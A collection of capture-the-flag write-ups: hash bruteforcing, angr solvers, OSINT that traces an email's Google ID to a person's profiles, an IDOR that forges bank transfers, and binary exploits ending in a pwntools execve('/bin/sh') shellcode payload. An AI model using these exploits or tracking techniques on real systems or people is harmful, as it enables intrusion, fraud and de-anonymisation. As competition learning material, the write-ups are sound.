```xml<tileset firstgid="1" name="tileSet" tilewidth="16" tileheight="16" tilecount="256" columns="16"> <image source="tileSet.png" width="256" height="256"/> <tile id="127"> <properties> <property name="questionmarkType" type="int" value="0"/> </properties> </tile> <tile id="159"> <properties> <property name="questionmarkType" type="int" value="21"/> </properties> </tile> <tile id="175"> <properties> <property name="questionmarkType" type="int" value="37"/> </properties> </tile> <tile id="191"> <properties> <property name="questionmarkType" type="int" value="97"/> </properties> </tile> <tile id="207"> <properties> <property name="questionmarkType" type="int" value="1337"/> </properties> </tile> </tileset>```
With this info we can do a dumb bruteforce on each byte array position until we crack the code.
So, phase 1, crack the byte sequence:
```JavaMessageDigest messageDigest;String str3 = "RC4";byte[] bArr = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
int[] possibleValues = new int[] {0 , 21, 37, 97};
for(int i1 = 0; i1 < 4; i1 ++) { for(int i2 = 0; i2 < 4; i2 ++) { for(int i3 = 0; i3 < 4; i3 ++) { for(int i4 = 0; i4 < 4; i4 ++) { for(int i5 = 0; i5 < 4; i5 ++) { for(int i6 = 0; i6 < 4; i6 ++) { for(int i7 = 0; i7 < 4; i7 ++) { for(int i8 = 0; i8 < 4; i8 ++) { for(int i9 = 0; i9 < 4; i9 ++) { for(int i10 = 0; i10 < 4; i10 ++) { for(int i11 = 0; i11 < 4; i11 ++) { bArr[0] = (byte) possibleValues[i1]; bArr[1] = (byte) possibleValues[i2]; bArr[2] = (byte) possibleValues[i3]; bArr[3] = (byte) possibleValues[i4]; bArr[4] = (byte) possibleValues[i5]; bArr[5] = (byte) possibleValues[i6]; bArr[6] = (byte) possibleValues[i7]; bArr[7] = (byte) possibleValues[i8]; bArr[8] = (byte) possibleValues[i9]; bArr[9] = (byte) possibleValues[i10]; bArr[10] = (byte) possibleValues[i11]; try { messageDigest = MessageDigest.getInstance("SHA-256"); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); messageDigest = null; } messageDigest.update(bArr); String str5 = "P4ssw0rdS4lt"; messageDigest.update(str5.getBytes()); if( toHex(messageDigest.digest()).equals("024800ace2ec394e6af68baa46e81dfbea93f0f6730610560c66ee9748d91420")) { System.out.println("FOUND"); System.out.println(bArr); } } } }
} } } } } } } }```
Result was found in couple seconds, despite the scary sequence of embeeded for loops: `byte[] bArr = new byte[] {21, 0, 97, 37, 21, 37, 37, 97, 97, 37, 21};`
Now, onto the next phase, let's get that final map, the rest of the code is expecting an ecrypted file (the map that is encrypted) to be decrypted by using our `messageDigest`, as we don't need to change absolutely nothing I just made sure to make the resources available for the code to proceed until I get the final map file.
```Javaprivate static void checkFlag() {MessageDigest messageDigest;//String str = "tileSet.png";//String str2 = "map_flag.tmx";String str3 = "RC4";byte[] bArr = new byte[] {21, 0, 97, 37, 21, 37, 37, 97, 97, 37, 21};
try { messageDigest = MessageDigest.getInstance("SHA-256");} catch (NoSuchAlgorithmException e) { e.printStackTrace(); messageDigest = null;}messageDigest.update(bArr);String str5 = "P4ssw0rdS4lt";messageDigest.update(str5.getBytes());
if (toHex(messageDigest.digest()).equals("024800ace2ec394e6af68baa46e81dfbea93f0f6730610560c66ee9748d91420")) { try { messageDigest.update(bArr); messageDigest.update(str5.getBytes()); messageDigest.update(bArr); byte[] digest = messageDigest.digest(); File file=new File("C:\\Users\\blu3drag0nsec\\eclipse-workspace\\alles\\src\\alles\\flag_enc"); //creates a new file instance FileReader fr=new FileReader(file); //reads the file BufferedReader br=new BufferedReader(fr); //creates a buffering character input stream StringBuffer sb=new StringBuffer(); //constructs a string buffer with no characters String line; while((line=br.readLine())!=null) { sb.append(line); //appends line to string buffer } fr.close(); //closes the stream and release the resources String flag_enc = sb.toString(); byte[] decode = Base64Coder.decode(flag_enc ); SecretKeySpec secretKeySpec = new SecretKeySpec(digest, 0, digest.length, str3); Cipher instance = Cipher.getInstance(str3); instance.init(2, secretKeySpec, instance.getParameters()); String str6 = new String(instance.doFinal(decode)); FileWriter myWriter = new FileWriter("C:\\Users\\blu3drag0nsec\\eclipse-workspace\\alles\\src\\alles\\map_flag.tmx"); myWriter.write(str6); myWriter.close(); } catch (Exception e2) { e2.printStackTrace(); }}}```
The file was saved to `map_flag.tmx` and remember, lazy approach, so what immediatly jumps to mind is, can we edit this map file format?
Apparently the answer was a simple `yes`, this is a known format, literally the first google result: https://www.mapeditor.org/
After installing the map and opening the newly generated file, we got the flag (in a very odd format but still).
Flag: `ALLES{1TS_A_DINO}` |
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|
If you look into the auth file you can find something that looks like a flag:
```sqlite> select * from user_privileges;2|VBGEDOL{34WX_Q33UZ_13T0R_5MY33UZ}1|basic_privs1|interact1|worldedit1|shout```
Looks like some kind of substitution cipher which doesn't follow any simple rule.
The first word in the flag looks like `34SY` (commonly found in CTF flags) so it can be assumed that digits are presented as-is.
With some trials and errors we can guess the final flag:
`DARKCTF{34SY_P33ZY_13M0N_5QU33ZY}`
(Or maybe it was `DARKCTF{34ZY_P33ZY_13M0N_5QU33ZY}`, I didn't really remember :P)
Update: The flag is `DARKCTF{34ZY_P33ZY_13M0N_5QU33ZY}` and the cipher used is Playfair.You can see how digits messed up the whole cryptosystem :P |
# G is Good (OSINT - 500 points)
# Solution:
According to the description, R****** and his friend **only use Google products**. Also, we have an email address in the description.
-----
```diff- Note: You won’t get anything if you send anything to the email address.```
-----
The idea of the first step is getting the Google ID of that email address.
```diff- Note: I know that not everyone knows this, but simple googling will give you the answer.```
-----
The easiest way to get the Google ID of that email address is by using Google Contacts (https://contacts.google.com/)
1. Create a new contact with that email address.2. Press (F12) to open the inspect element window.3. Go to the Network tab and clear everything there.4. When you have a blank network activities screen, go back to the Google Contacts page, and click on the contact.5. In the network window, we need the packet that begins with batchexecute, so click on it to get its contents.6. Scroll to the bottom of the Headers tab, you will find the field Form Data, then you will find the 21-digit Google ID.
So, the Google ID of [email protected] is:**111847369296165457396**
-----
Using the Google ID, we can find the **Google Maps Contributions** of that email address.
```diffhttps://www.google.com/maps/contrib/(Google ID)```
So, when you openhttps://www.google.com/maps/contrib/111847369296165457396You will get:
- The name of the owner of that email address. (Richard Roe)(You will need it in the next step)- The picture of the owner of that email address.(You will need it in the next step)- The places reviews that the owner of that email address has written.(You will need in the last step)
You will see that Richard has 1 contribution. He has rated a **language school** in **Bosnia and Herzegovina**.
```diff- Remember: In OSINT, locations are important.```
-----
Now, you need to find Richard Roe in another site…You might think that this step is guessy, **but it’s not**, because I have already given you a sentence (in the description) that will reduce your searching scope:
```BTW, we only use Google products and we don’t use any site that doesn’t belong to Google... LITERALLY!```
The right place to continue solving this challenge is Youtube.
```diff- Note: YouTube belongs to Google.```
I know that you don’t know the name of his channel in Youtube, but if you search for his name in Youtube, you will find it.(Don’t forget to use search filters)So, search for his name and scroll down until you find a channel with his picture that you have already seen in Google Maps.
Open his channel and you will see one uploaded video and one featured channel:
Focus on the featured channel name **(John Doe)**… It is clear that John is his best friend who is mentioned in the challenge description.
```My best friend enjoys hiding secret messages in the internet!```
So, you won’t find anything in Richard channel... You will only need it to find his best friend channel.Open John’s channel, you will find one uploaded video
This video contains a Morse Code that won’t give you the flag when you decode it (It’s a rabbit hole).So, I added this clarification in the video description:
-----
According to the description, John always travels with Richard.
```And my best friend always travels with me.```
And you already have a location… (remember the Google Maps review).
And that place was a language school in Bosnia and Herzegovina.
So, they might have been learning a foreign language, and that language may be Bosanski because they were in Bosnia and Herzegovina.
-----
**You are now in the last step of this challenge: Getting the Flag.**
To get the flag you need to find a relationship between everything you have got!(Youtube + Bosnia and Herzegovina + Languages + Hiding messages)
One of the best things in youtube is that you can translate your videos titles and descriptions.
1. Go to the video in John’s channel (because he hides the messages)2. Change the Youtube language to Bosanski (because they have gone to language school in Bosnia and Herzegovina)3. You will find the flag in the description of that video.
-----
# Important notes:
- The main idea of this challenge is linking everything you get together.
- To those who say that the idea of the first step of this challenge was in a challenge in another platform/CTF: An idea of a step may be in other platforms and there is no problem in mixing ideas, because this is a CTF, so the main goal is to learn new ideas **(even if they are mixed with other ideas).** So, please compare all the steps and the whole scenario and the contents of the challenge, and don't compare only one step!!!
-----
# Fun facts:
- The pictures of Richard and John are for people who don't exist!```For more details, read more about (thispersondoesnotexist.com)```
- **"Richard Roe"** and **"John Doe"** are placeholder names!```Placeholder names are words that can refer to objects or people whose names do not exist, are temporarily forgotten, irrelevant, or unknown in the context in which they are being discussed.``` |
Wet - Misc - 500 points
This message was printed and got wet on a lousy mexican rain. Help us recover the flag.
After downloading the the `wet` file we got warped QR Code
I tried all sorts of dewarping functions in Gimp etc, but none of that seems to work.So I opened beer and vim window and started retyping the QR code into python array, it was tidious work but was done after ~7minutes, this is the code for generating normal version of this QR Code.
```qrcode = [
[0,0,0,1,1,1,1,0,1,1,1,1,0,1,1,0,1,1,1], [1,1,0,1,1,1,0,1,0,1,1,1,0,1,0,0,1,1,1], [1,0,1,0,1,0,1,0,0,1,0,0,0,1,0,1,0,0,1], [1,1,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0], [0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,1], [0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0], [0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1], [0,0,0,0,1,1,0,1,1,1,1,1,0,1,0,1,0,0,0], [1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,0], [0,0,1,0,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0], [0,0,1,1,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0], [0,1,1,0,1,1,0,1,1,1,1,1,0,1,1,0,0,1,0], [0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0], [1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1], [1,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,0,0,0], [0,1,1,1,0,0,1,0,1,1,0,1,0,0,1,0,1,1,0], [1,1,1,0,0,1,1,0,0,0,1,1,1,0,0,1,0,1,0], [0,1,0,1,0,0,0,0,1,0,1,1,1,1,0,1,1,1,0], [0,1,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0]]
from PIL import Imageimport numpy as npbuff = np.zeros((19, 19), dtype=np.uint8)
for x in range(len(qrcode)): for y in range(len(qrcode[x])): if qrcode[x][y] == 0: buff[x][y] = 255 else: buff[x][y] = 0
image = Image.fromarray(buff)image.show()```
Which outputs this:
After scanning the code we got the flag```EKO{tirate_un_flag}``` |
# FwordCTF 2020
## Welcome Reverser
> 374>> Hello and welcome to FwordCTF2k20 Let's start with something to warmup GOOD LUCK and have fun>> `nc welcome.fword.wtf 5000`>> Author: H4MA>> [`welcome`](welcome)
Tags: _rev_ _x86-64_ _angr_
## Summary
```# ./welcomeHello give me the secret number so i can get the flag:0no Flag for u```
Free points with the help of [angr.io](angr.io).
## Analysis
### Decompile with Ghidra
This binary is stripped, so start by searching for `get the flag`:
```cundefined8 FUN_00101591(void){ char *__s; undefined8 uVar1; size_t sVar2; ulong uVar3; ulong uVar4; FUN_00101249(); __s = (char *)malloc(0x10); puts("Hello give me the secret number so i can get the flag:"); __isoc99_scanf(&DAT_0010208f,__s); uVar1 = FUN_00101335(__s); if (((int)uVar1 != 0) && (sVar2 = strlen(__s), sVar2 == 0x10)) { uVar3 = FUN_00101391(__s); uVar4 = FUN_00101421(__s); if (((int)uVar3 + (int)uVar4) % 10 == 0) { FUN_001012ae(); return 0; } puts("no thats not my number:("); } puts("no Flag for u"); return 0;}```
The `malloc` gives away the size, 16. And the call to `FUN_001012ae()`:
```0010165d e8 4c fc ff ff CALL FUN_001012ae```
at address `0x165d` is a promising target. I.e. it's not emitting an error before returning.
## Solve
```python#!/usr/bin/python3
import angr, time, io
FIND_ADDR=0x40165dt=time.time()binary = open('./welcome','rb').read()proj = angr.Project(io.BytesIO(binary),auto_load_libs=False)state = proj.factory.entry_state()simgr = proj.factory.simulation_manager(state)simgr.use_technique(angr.exploration_techniques.DFS())simgr.explore(find=FIND_ADDR)print(simgr.found[0].posix.dumps(0))print(time.time() - t,end="")print(" seconds")```
Take the first 16 bytes and plug it into `./welcome` and you get the flag, e.g.:
```pythonfrom pwn import *
p = remote('welcome.fword.wtf', 5000)p.recvuntil('Hello give me the secret number so i can get the flag:')p.sendline(simgr.found[0].posix.dumps(0)[:16])print(p.recvuntil('FwordCTF{') + p.recvuntil('}'))```
Output:
```bashWARNING | 2020-08-30 06:12:55,054 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.WARNING | 2020-08-30 06:12:56,025 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.WARNING | 2020-08-30 06:12:56,026 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:WARNING | 2020-08-30 06:12:56,026 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial stateWARNING | 2020-08-30 06:12:56,026 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold nullWARNING | 2020-08-30 06:12:56,026 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.WARNING | 2020-08-30 06:12:56,026 | angr.state_plugins.symbolic_memory | Filling memory at 0xc0000f5d with 195 unconstrained bytes referenced from 0x10002b0 (strlen+0x0 in extern-address space (0x2b0))b'i\x04W\x01]\x02k\x024\x10+\x88b(\xd6!\x00\x00*J*\x00\x02\x89J)\x00\x1a\x0e\x08\x02\x89\x08J\x02\x89\x00\x00\x01\x01\x89\x00\x08*\x00\x00\x02JJ\x00\x08\x1a\x08)I\x0e\x00)\x02\x00'10.467919826507568 seconds[q] Opening connection to welcome.fword.wtf on port 5000INFO | 2020-08-30 06:13:05,625 | pwnlib.tubes.remote.remote.140285668858064 | Opening connection to welcome.fword.wtf on port 5000 Opening connection to welcome.fword.wtf on port 5000: Trying 54.92.137.14INFO | 2020-08-30 06:13:05,689 | pwnlib.tubes.remote.remote.140285668858064 | Opening connection to welcome.fword.wtf on port 50[+] Opening connection to welcome.fword.wtf on port 5000: DoneINFO | 2020-08-30 06:13:05,770 | pwnlib.tubes.remote.remote.140285668858064 | Opening connection to welcome.fword.wtf on port 5000: Doneb'\nFwordCTF{luhn!_wh4t_a_w31rd_n4m3}'```
## Solve with constraints
But what if you wanted just numbers?
```python#!/usr/bin/env python3
import angr, time, claripy
BINARY='./welcome't=time.time()proj = angr.Project(BINARY, auto_load_libs=False)FIND=0x40165dinput_len=16flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(input_len)]flag = claripy.Concat( *flag_chars + [claripy.BVV(b'\n')])state = proj.factory.entry_state(args=[BINARY], stdin=flag)
for k in flag_chars: state.solver.add(k < 0x3a) state.solver.add(k > 0x2f)
simgr = proj.factory.simulation_manager(state)simgr.use_technique(angr.exploration_techniques.DFS())simgr.explore(find=FIND)print(simgr.found[0].posix.dumps(0))print(time.time() - t, "seconds")```
Output:
```bash# ./sol_w_constraints.pyWARNING | 2020-09-02 04:40:58,794 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.WARNING | 2020-09-02 04:41:00,131 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.WARNING | 2020-09-02 04:41:00,131 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:WARNING | 2020-09-02 04:41:00,131 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial stateWARNING | 2020-09-02 04:41:00,131 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold nullWARNING | 2020-09-02 04:41:00,131 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.WARNING | 2020-09-02 04:41:00,131 | angr.state_plugins.symbolic_memory | Filling memory at 0xc0000f31 with 239 unconstrained bytes referenced from 0x10002b0 (strlen+0x0 in extern-address space (0x2b0))b'1168111112111118\n'7.1642327308654785 seconds```
Flag:
```bash# nc welcome.fword.wtf 5000Hello give me the secret number so i can get the flag:1168111112111118FwordCTF{luhn!_wh4t_a_w31rd_n4m3}```
How about only 1s and 2s?
```python#!/usr/bin/env python3
import angr, time, claripy
BINARY='./welcome't=time.time()proj = angr.Project(BINARY, auto_load_libs=False)FIND=0x40165dinput_len=16flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(input_len)]flag = claripy.Concat( *flag_chars + [claripy.BVV(b'\n')])state = proj.factory.entry_state(args=[BINARY], stdin=flag)
for k in flag_chars: state.solver.add(k < 0x33) state.solver.add(k > 0x30)
simgr = proj.factory.simulation_manager(state)simgr.use_technique(angr.exploration_techniques.DFS())simgr.explore(find=FIND)print(simgr.found[0].posix.dumps(0))print(time.time() - t, "seconds")```
Output:
```bash# ./sol_w_constraints.pyWARNING | 2020-09-02 04:43:38,363 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.WARNING | 2020-09-02 04:43:39,670 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.WARNING | 2020-09-02 04:43:39,670 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:WARNING | 2020-09-02 04:43:39,670 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial stateWARNING | 2020-09-02 04:43:39,670 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold nullWARNING | 2020-09-02 04:43:39,670 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.WARNING | 2020-09-02 04:43:39,670 | angr.state_plugins.symbolic_memory | Filling memory at 0xc0000f31 with 239 unconstrained bytes referenced from 0x10002b0 (strlen+0x0 in extern-address space (0x2b0))b'1112121211121212\n'7.7123801708221436 seconds```
Flag:
```bash# nc welcome.fword.wtf 5000Hello give me the secret number so i can get the flag:1112121211121212FwordCTF{luhn!_wh4t_a_w31rd_n4m3}```
|
We had to check /robots.txt and check the files listed with the appropriate user-agent.If we were lucky we would be given some information about one random character in the flag.Every time you refresh, new files appear.
Python script to solve.
```import requestsimport reimport sys
user_agent_re = re.compile("^(User-agent: )(.*)")loc_re = re.compile("^(Disallow: )(/.*\.txt)")
url = "http://challenge.ctf.games:30095"
flag = {}while(len(flag.keys()) < 35): robots = requests.get(url+"/robots.txt").content.decode('ascii')
chunks = robots.split("\n\n") for chunk in chunks: lines = chunk.split("\n") user_agent = user_agent_re.match(lines[0])[2]
for line in lines[1:]:
try: loc = loc_re.match(line)[2] except: continue
headers = { 'User-Agent': user_agent, }
res = requests.get(url+loc, headers=headers).content.decode('ascii')
if "INDEX" in res: flag_index = int(re.match(".* INDEX (\d+).*INDEX (\d+)", res)[1]) name_index = int(re.match(".* INDEX (\d+).*INDEX (\d+)", res)[2])
flag[flag_index] = loc[name_index+1] sys.stdout.write("".join([v for (k, v) in sorted(flag.items())])) sys.stdout.flush() sys.stdout.write('\r') sys.stdout.flush()
print("WIN!")print("".join([v for (k, v) in sorted(flag.items())]))``` |
### Our bank app is secure because we run vulnerability scanners, get a transfer from the admin account!Link: http://bank.eko.cap.tf:50000/
After creating account and logging in, we can see three Tabs: Incoming payments, Outcoming Payments and Transfer tab.After firing up Burp proxy and sending transaction to `Juan Escobar - 4242` we can see the following request:
```POST /transfer HTTP/1.1Host: bank.eko.cap.tf:50000Content-Length: 121Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://bank.eko.cap.tf:50000Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://bank.eko.cap.tf:50000/transferAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Inoxby9ZanVvQzgyb1FoMGRpcm83dGc9PSIsInZhbHVlIjoiVlJ6Z3dSbXFDVzl6cmpHQzJJL0VBcGdmcWU3U0ZjU0Q5SFBvL3hBLzN5M3NhcVRiZ3ZmU1YwNkU5YzBrQ0Z4RkN6akJ4Wk94V2VZVkJiREQrSHlRS0M2OTVYb1VLRHoyQVIwdm9mVmhRUFZzSkNEMXJLRG13RFpISlBldzN5RVoiLCJtYWMiOiIwMzA5M2JlNjZhOGQyYzE5NDY2NWViMTNjZDRkN2Q0ZDAzNzIwZGE3ODYxNmZiOGViNTU5Y2M0YzNjMWM5M2Q4In0%3D; null_bank_session=eyJpdiI6IklUTWM3OXRraFJ0MlZSLzh0TENrclE9PSIsInZhbHVlIjoiOUhzZzFCVFBnNTRiZ3Y3VlkzRDVuNlZPRTlYZ0VsWHlIcFVEOE9BMWtYRlFhQmZ1a0xmd0RuQVVOTnhlc1R6SHhYNER0RHBCWGNBdk1JZ3ovWnNtdUxKbkFSRmd6VklXVTJOSjk3QWxOUFNzUW5nZ1FzL2VKcllQUTF5S2tGY3UiLCJtYWMiOiI1ODNkMjBlZTg3Y2UwYzgyY2EyYTQzOGE5YzhmNDdiNWE0ODc0MzM2Y2U5ODQ1MDU4ZDc0MmJhZmU2ZGNiNzBjIn0%3DConnection: close
_token=5L7xtRsvngrOx8y3AaIzNhOTkjnHpqLgsUR18Nv4&origin=5686&destination=4242&bank=Banco+PUG&name=Juan+Escobar&amount=1&message=a```
Notice the `destination` and `origin`? With this authenticated request we can actually send money to us!
So lets try to repeat this request but switch origin and destination adresses, and voila! It works! We've received money from account 4242
Okay, so now we need to bruteforce the admin's account number.I've tried to bruteforce admin in ID range `4000` - `6000`, given the existing account numbers, with no luck, then I completely randomly tried to send money from account number `1337` to my account and boom, I've received payment from admin with flag in the name - should've bruteforced from 0```POST /transfer HTTP/1.1Host: bank.eko.cap.tf:50000Content-Length: 121Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://bank.eko.cap.tf:50000Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://bank.eko.cap.tf:50000/transferAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Inoxby9ZanVvQzgyb1FoMGRpcm83dGc9PSIsInZhbHVlIjoiVlJ6Z3dSbXFDVzl6cmpHQzJJL0VBcGdmcWU3U0ZjU0Q5SFBvL3hBLzN5M3NhcVRiZ3ZmU1YwNkU5YzBrQ0Z4RkN6akJ4Wk94V2VZVkJiREQrSHlRS0M2OTVYb1VLRHoyQVIwdm9mVmhRUFZzSkNEMXJLRG13RFpISlBldzN5RVoiLCJtYWMiOiIwMzA5M2JlNjZhOGQyYzE5NDY2NWViMTNjZDRkN2Q0ZDAzNzIwZGE3ODYxNmZiOGViNTU5Y2M0YzNjMWM5M2Q4In0%3D; null_bank_session=eyJpdiI6IklUTWM3OXRraFJ0MlZSLzh0TENrclE9PSIsInZhbHVlIjoiOUhzZzFCVFBnNTRiZ3Y3VlkzRDVuNlZPRTlYZ0VsWHlIcFVEOE9BMWtYRlFhQmZ1a0xmd0RuQVVOTnhlc1R6SHhYNER0RHBCWGNBdk1JZ3ovWnNtdUxKbkFSRmd6VklXVTJOSjk3QWxOUFNzUW5nZ1FzL2VKcllQUTF5S2tGY3UiLCJtYWMiOiI1ODNkMjBlZTg3Y2UwYzgyY2EyYTQzOGE5YzhmNDdiNWE0ODc0MzM2Y2U5ODQ1MDU4ZDc0MmJhZmU2ZGNiNzBjIn0%3DConnection: close
_token=5L7xtRsvngrOx8y3AaIzNhOTkjnHpqLgsUR18Nv4&origin=1337&destination=4242&bank=Banco+PUG&name=admin&amount=1&message=a```
Flag: EKO{fr33_m0ney_c4ptain!} |
# Wargames (Blox 1 & 2)
This was a challenge where you had to reverse and exploit a binary that was running in this cloud reversing tool thing made by RET2 systems. However, I am stupid and I can't live without F5 so I dumped the whole binary with x/20480bx 0x40000 and put it into IDA. Then I setup the segments manually so I can press F5.
I really liked this challenge, it was well-thought out, clever, and also very rewarding at the end. Shame there was some technical difficulties with the online platform at the end, so they were forced to release the binary outright.
## Part 1
There is a tetris game and you need to draw RET2 using the blocks.
```## ########## ## # ### ## # #### ## # # # #### # ###```
I don't really feel like explaining the code but basically I just converted the check function to z3 code (see z3sice.py). Read the code yourself, there's comments
```c__int64 check_cheat_codes(){ unsigned int groupnum; // [rsp+Ch] [rbp-4h]
for ( groupnum = 0; groupnum <= 3; ++groupnum )// FOR_EACH_BLK { if ( !(unsigned int)check_cheatcodes_y(groupnum) || !(unsigned int)check_cheatcodes_x(groupnum) ) return 0LL; } return 1LL;}__int64 __fastcall check_cheatcodes_x(int i){ unsigned int y; // [rsp+8h] [rbp-Ch] char num_minos; // [rsp+Eh] [rbp-6h] char xor_sum; // [rsp+Fh] [rbp-5h] unsigned int x; // [rsp+10h] [rbp-4h]
for ( x = 0; x <= 2; ++x ) // Iterate thru cols in 4 groups of 3 { xor_sum = 0; num_minos = 0; for ( y = 0; y <= 4; ++y ) // Iterate thru 5 rows { if ( board[NCOLS * (unsigned __int64)(y + 15) + 3 * i + x] ) { xor_sum ^= y + 1; ++num_minos; } } if ( xor_sum != cheatcode_xorsum_x[3 * i + x] || num_minos != cheatcode_numminos_x[3 * i + x] ) return 0LL; } return 1LL;}__int64 __fastcall check_cheatcodes_y(int i){ unsigned int x; // [rsp+8h] [rbp-Ch] char num_minos; // [rsp+Eh] [rbp-6h] char xor_sum; // [rsp+Fh] [rbp-5h] unsigned int y; // [rsp+10h] [rbp-4h]
for ( y = 0; y <= 4; ++y ) // Iterate thru 5 rows { xor_sum = 0; num_minos = 0; for ( x = 0; x <= 2; ++x ) // Iterate thru cols in 4 groups of 3 { if ( board[NCOLS * (unsigned __int64)(y + 15) + 3 * i + x] )// horizontal sum of this group of 3 { xor_sum ^= x + 1; ++num_minos; } } if ( xor_sum != cheatcode_xorsum_y[5 * i + y] || num_minos != cheatcode_numminos_y[5 * i + y] )// check col-wise sum for all 5 rows for this group return 0LL; } return 1LL;}```
## Part 2
For part 2 you need to exploit the game to get arbitrary code execution (and syscall 1337 0x41414141)
Enabling cheats in part 1 gives you access to cheat codes that can let you change the tetramino as it's falling to whatever you want. The vulnerability is that using the tetramino-changing cheat can go out of bounds of the game board. If you put an O piece right on the edge of the game board and change it to a long piece (L J or I piece), it will extend outside of the game board and can overflow the game board buffer.
It just so happens that in the .bss, `heap_top` (their malloc is a simple bump allocator) is placed right after `board`. So we can basically do partial overwrites of the `heap_top` with values corresponding to tetramino L,J,I (1,2,3). We chose to do it with an I piece. This would place `heap_top` at 0x40012c in malloc. Each time we get a high score, `malloc(4)` is called allowing us to write a high score name into the buffer, consisting of up to 3 uppercase characters.
For x64 shellcode, only uppercase is insufficient to be useful for anything really. So we need to upgrade this primitive. We do so by getting high scores over and over, pushing `heap_top` through the .text section. Note the .text section is actually RWX so we can overwrite code as we please. We push it all thew ay into `check_high_score` and corrupt the input checks, allowing us to enter (nearly) arbitrary characters.
Then, we write in a shellcode for the syscall and that's it.
See lmao.py for exploit
flag{s0m3t1mes_y0u_n33d_t0_wr1t3_y0ur_0wn_kill_scr33n} |
The challenge has some output depending of the input like "wrong" or "correct"... the input must be 16 plus '\n'. In cases like this angr should works well... so a first script WITHOUT any kinda of optimization gave me the flag... so even if it could be optimized, it works!
```pythonimport angr, claripy
base_addr = 0x0
proj = angr.Project("./a.out", main_opts={'base_addr': base_addr})
input_len = 16inp = [claripy.BVS('flag_%d' %i, 8) for i in range(input_len)]flag = claripy.Concat(*inp + [claripy.BVV(b'\n')])
# find_addr = 0x0000000000001482# avoid_addr = [0x0000000000001461, 0x00000000000012AC]
state = proj.factory.full_init_state(stdin=flag)
for k in inp: state.solver.add(k < 0x7f) state.solver.add(k > 0x20)
simgr = proj.factory.simulation_manager(state)simgr.run()for i in simgr.deadended: print(i.solver.eval(flag, cast_to=bytes))#simgr.explore(find=find_addr, avoid=avoid_addr)```
The script produces 5 output, one is the correct flag:```shellb'(0("0$!!"$((0$0"\n'b'n0_50@@@@@@@@@@0\n'b'n0_5ymb0`00@@@@@\n'b'n0_5ymb0l1c,3x30\n'b'n0_5ymb0l1c,0@@!\n'```
# FLAG`darkCTF{n0_5ymb0l1c,3x30}` |
Basic Ret2Shellcode
The first line is providing Stack Leak
Note :- I did not play this CTF, Just looked into challenges after the CTF is ended
```CSS#!/usr/bin/python
from pwn import *
context(os='linux',arch='amd64')context.log_level = 'INFO'context(terminal=['tmux','new-window'])
p = process('./seashells')#p = gdb.debug('./seashells','b main')e = ELF('./seashells')
stack_leak = int(p.recvline().strip().ljust(8,'\x00'),16)print hex(stack_leak)
shellcode = asm(shellcraft.amd64.execve('/bin/sh','0','0'))JUNK = (136 - len(shellcode)) * "A"
payload = shellcode + JUNK + p64(stack_leak)
sleep(1)p.sendline(payload)
p.interactive()``` |
